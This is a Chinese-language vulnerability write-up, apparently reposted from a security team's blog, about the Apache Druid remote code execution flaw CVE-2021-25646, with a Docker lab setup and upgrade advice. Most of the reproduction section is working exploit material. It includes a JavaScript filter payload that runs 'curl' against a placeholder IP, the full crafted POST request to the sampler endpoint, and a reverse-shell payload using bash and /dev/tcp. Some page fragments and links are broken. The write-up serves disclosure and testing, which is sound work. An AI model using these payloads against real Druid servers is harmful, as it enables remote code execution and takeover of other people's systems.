漏洞 (CVE"/>
Apache Druid 远程代码执行漏洞 (CVE
Apache Druid 远程代码执行漏洞 (CVE-2021-25646)
0x00 前言
首发于timeline sec 团队公众号
阿里云安全向Apache官方报告了Apache Druid远程代码执行漏洞,分配CVE编号为CVE-2021-25646
0x01 漏洞描述
Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。
0x02 影响范围
Apache Druid < 0.20.1
0x03 漏洞复现
环境搭建
apache druid:0.16.0
参考现有的低版本druid
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
漏洞复现
访问8888 端口进入Druid console
点击Load data -->Local disk
填入
- Base directory:
quickstart/tutorial/
- File filter:
wikiticker-2015-09-12-sampled.json.gz
一直点击next到filter项(设置步骤可参考:.html)
抓包修改filter为
{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}",
"dimension":"added",
"":{
"enabled":"true"
}
}
对应post包为
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: tls:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 623
Origin: :8888
Connection: close
Referer: :8888/unified-console.html{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('curl yourip:8000')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"cacheKey":"79a5be988bf94d42a6f219b63ff27383"}}
反弹shell
{"type": "javascript","dimension": "added","function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx/xxx 0>&1')}","": {"enabled": true}}
0x04 修复建议
升级Apache Druid 到最新的0.20.1版本 .20.1
对Apache Druid进行权限控制,只允许受信任的主机访问集群服务器
0x05 References
.html
0x06 作者 DesM0nd
更多推荐
Apache Druid 远程代码执行漏洞 (CVE
发布评论